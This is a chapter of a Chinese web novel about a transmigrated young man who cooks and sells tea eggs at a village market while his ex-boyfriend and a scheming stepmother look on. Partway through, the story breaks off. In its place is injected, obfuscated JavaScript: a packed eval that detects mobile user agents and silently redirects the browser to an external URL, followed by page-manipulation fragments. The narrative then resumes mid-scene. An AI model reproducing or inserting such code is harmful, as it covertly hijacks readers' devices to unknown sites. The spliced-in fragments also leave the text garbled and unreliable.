14. 茶叶蛋

作品:《和前男友穿到古代种田

    许青禾心思来得快去得也快,了解完之后就对阳痿这个话题没什么兴趣了。


    他还有一锅蛋要煮呢。


    奶奶说过,成功的茶叶蛋要符合“入味透、蛋不柴、香味足”几个标准,他照着奶奶的做法,把一颗颗鸡蛋仔细挨个洗净,冷水下锅,加一勺盐大火煮开就撤了柴火。


    这时候蛋白刚刚凝固,蛋黄还是半流心状态,嫩极了。


    捞出来的鸡蛋过遍凉水,用勺子敲出密密麻麻的蜘蛛网状裂纹,裂纹越多卤汁越容易渗进去,煮出来的茶叶蛋滋味更足。


    许青禾敲得格外认真。


    鸡蛋太多,一时半会敲不完,他又喊来陆晚亭和他一起敲。


    奈何陆晚亭力气太大,两三下就把蛋壳敲碎了,许青禾心疼自己的蛋,就把前男友赶走了。


    鸡蛋敲完,卤汤也差不多煮好了。


    茶卤汤,茶叶末子自然必不可少,香料不必放太多,八角桂皮再来几片香叶就行,少而精才能不夺茶香;调料放酱油冰糖提味,盐比平时炒菜多放一勺,卤汁略咸一点蛋才更好入味。


    水沸开,深褐色的茶汤翻涌着,蒸腾的热气里混着微涩的茶香和香料辛香,敲好壳的鸡蛋在汤里浮浮沉沉,上下翻滚。


    估摸着煮得差不多了,许青禾便撤了柴火,没开盖,让蛋在卤汁里焖泡着,如此泡上一夜,茶卤汤汁的香味会慢慢渗进去,能连蛋黄都透着香味。


    他就这样在茶香味的梦里睡了一夜。


    转天,许青禾吃完饭的第一件事就是去看泡了一夜的茶叶蛋。


    掀开锅盖,浓郁得有如实质的茶卤香气扑面而来,蛋已卤透,个个都染成了深褐色,蛋壳上面每一道碎壳纹路都沁着酱色茶汁,还没剥壳便透着股藏不住的香。


    许青禾迫不及待从锅里拿出一枚,惊喜地发现竟还微微热着。


    剥开壳子,就见蛋白透着酱色,蛋壳裂纹变成蛋白上的花纹,深浅不一的茶褐色纹路一圈圈绕着蛋白,连靠近蛋黄的地方都染着淡酱色。


    陆晚亭正在院里犁地,许青禾小跑过去,手里捧着刚剥好的茶叶蛋。


    “来,尝尝!”


    陆晚亭的双手沾满泥土,他看了看蛋,又看了看许青禾亮晶晶的眼睛,低头直接就着他的手咬了一口。


    蛋白柔嫩软弹,茶香四溢,咸鲜可口,蛋黄绵密沙糯,被卤香浸了个透,最里头还藏着一块小小的溏心,滑润细腻,和卤香茶香混在一块儿,满口都是醇香。


    “好吃。”陆晚亭道。


    吃完半颗,他仍觉得意犹未尽,许青禾此时恰好抬手,陆晚亭便低头去吃剩下的另一半。


    动作间,许青禾的手指无意中蹭过了他的嘴唇。


    陆晚亭心头顿时一酥。


    他还没说话,许青禾已收回手去拎装好茶叶蛋的竹篮,脚步轻快地往院外走。


    “我去卖茶叶蛋啦!”


    说完就头也不回地跑了。


    陆晚亭站在原地望着许青禾纤瘦的背影,后者哼着小调,手臂间挎着个竹篮,脚步轻盈,像只雀跃的小鸟。


    完全不知自己方才撩动了怎样的心弦。


    又在撩完就跑。


    陆晚亭舔了舔唇上那抹残余的淡淡茶香,忽然忆起上辈子的一件事。


    那时候两个人还没在一起,他刚做完一台耗时漫长的手术,整个人都带着倦意,坐在医院人工湖边的长椅上微仰着头休息。


    许青禾就在这时经过,脚步极轻地贴近他,温热的手指按上他紧绷的太阳穴,轻轻揉了两圈。


    “怎么样陆医生,有没有感觉好一点?”


    恰到好处的按摩力度带来一阵舒适,混合着来人身上清爽活力的气息,像一道暖流,猝不及防撞入他疲惫的神经。


    陆晚亭诚实地点了点头。


    “那你别皱眉了好不好。”许青禾说。


    陆晚亭喉结微动,刚睁开眼,那人便干脆利落地撤手后退,仿佛只是完成了一个随手之举。


    许青禾站在远处,笑着冲他挥了挥手,语气轻松又无辜:“走了,画还没画完呢。”


    说完就离开了,留下陆晚亭在原地,太阳穴那一小片皮肤还残留着被触碰过的温度。


    他就像一阵风,吹皱一池静水,却不停留。


    回过神来,陆晚亭拎起锄头,继续翻垦菜地,动作比刚才更加用力了。


    仿佛这样就能把那股无处宣泄的热意,全都埋进泥土深处。


    -


    集市,人潮涌动。


    许青禾依然把摊摆在之前卖画的地方,坐定之后便把竹篮上的湿布掀开。


    不多时,一股茶卤香慢悠悠地在热闹的集市里荡漾开来。


    茶叶蛋的香气并不霸道,颇有种润物细无声之感,温温柔柔漫开,等反应过来时,鼻子里已盈满了淡淡茶香。


    最近谁不知道集市里来了个很会画画的小郎君,都等着看他今日又画了什么新奇小画,见他这回端来的不是画板,而是一篮子鸡蛋,都感到有些意外。


    有人探头问道:“小郎君,你这卖的是什么啊?”


    总不能真是煮鸡蛋吧,这东西谁家里没有?


    许青禾回答:“这是茶叶蛋,用茶汤慢煨出来的,蛋清蛋黄都入了味,比寻常煮蛋要好吃多了。”


    这回不吆喝是不行了,要不别人真以为他卖的是煮鸡蛋。


    几日出摊下来,许青禾算是适应了小贩生活,想好词后便清了清嗓子。


    “茶叶蛋——热乎的茶叶蛋——”


    他上辈子就是南方人,说话带着几分江南特有的软糯,尾音微微上扬,吆喝起来都是清亮好听的。


    周围人本就闻着香,再听他这一吆喝,更是心痒难耐。


    一个挑着扁担的货郎凑过来,狐疑地打量着许青禾,“小郎君,你这蛋当真好吃?”


    甘泉镇人民精打细算,不舍得轻易花钱,许青禾表示理解,也不恼,剥开一颗茶叶蛋掰开,将半颗蛋递过去。


    “大哥尝尝,自家秘方,别处吃不着这味儿。”


    货郎将信将疑地接过,咬了一口,眼睛倏地瞪大。


    蛋白弹嫩,茶香四溢,咸鲜中带着微甜,蛋黄也是入口即化的绵密,却又一点也不噎人。


    真的香!这不比寻常的水煮蛋好吃多了?</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427843|184875||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    他忙问了价。


    “三文钱一枚,五文钱两枚。”许青禾答道。


    他算了,一枚茶叶蛋的成本是一文出头,便是按五文钱两枚的卖价算,一枚蛋也能赚一文多的钱了,虽然不多,但这东西讲求的就是薄利多销,日积月累,慢慢卖下来,小钱也能攒成大钱了。


    况且,他并不打算长久地卖茶叶蛋,只当是个跳板。


    还有那么多小吃等着他呢。


    在他思索赚钱大计的时候,货郎也在算价,觉得五文钱两枚这个价钱还成,一边掏钱一边道:“给我来俩……算了,来十文钱的吧。”


    “好嘞。”


    许青禾美滋滋地拿了四枚蛋过去。


    他这回摆摊摆得急,端着一篮子蛋就出来了,也没置备其他配套物品,连装茶叶蛋的家伙事儿都没有……好像用荷叶就行?


    许青禾准备下回出摊带上。


    不过就算没有荷叶,茶叶蛋的销路也打开了,小摊前很快围了一群人。


    “来俩尝尝味儿。”


    “小郎君,给我家孩子留几个!”


    “别挤别挤,我先来的!”


    “……”


    篮子里的茶叶蛋以肉眼可见的速度减少,铜钱叮叮当当落入许青禾的钱袋。


    许青禾心里都快笑开花了,却还是强压着嘴角,努力让自己看起来没那么高兴。


    财不外露,不能表现得太明显。


    对面,王金凤正摇着新买的蒲扇,慢悠悠地在集市上闲逛,身后还跟着几个平日里巴结她的妇人。


    她今日特意穿了件半新的绛色衫子,发髻上还簪了朵时兴的绢花,虽不是顶好的料子,但在这乡下地方,也算体面了。


    李婶子凑上来奉承:“金凤姐,听说你家二郎最近又被先生夸了,说他文章写得好极了!”


    王金凤嘴角一翘,扇子掩了掩脸,故作谦虚:“景逸这孩子也就是肯用功,整日里读书到三更半夜,拦都拦不住。”


    “要我说啊,还是金凤姐会教养。”张婆子接茬,“虽说不是亲生的,可比那亲生的强多了!哪像陆家大郎,守着个小破院子,连个功名都没挣来。”


    王金凤心里痛快,嘴上却假意叹气:“晚亭性子倔,不听劝,非要分家单过,不过他过得舒心也就行了,我这做娘的心里就能踏实了。”


    她边说边在心里冷笑。


    舒心?


    别人不清楚,她却是知道的,她那短命丈夫临死前把老宅子押给赌坊了,怕是再过几日,陆晚亭便连片瓦都留不住了。


    得知这个消息,王金凤第一个念头便是畅快。


    老宅本就不该给前头那个短命鬼的儿子,如今赌输了正好,省得她再费心思去争。


    正想着,忽闻前头一阵喧闹,隐约飘来阵阵茶香。


    王金凤皱了皱眉:“这什么味儿?怪香的。”


    李婶子踮脚张望:“好像是卖什么蛋的……那人瞧着面生,莫不是新搬来的?”


    王金凤眯眼一瞧,就见人堆儿里站着个清秀的小郎君,正笑吟吟地给人递茶叶蛋。


    不知怎么,她心头忽地一跳。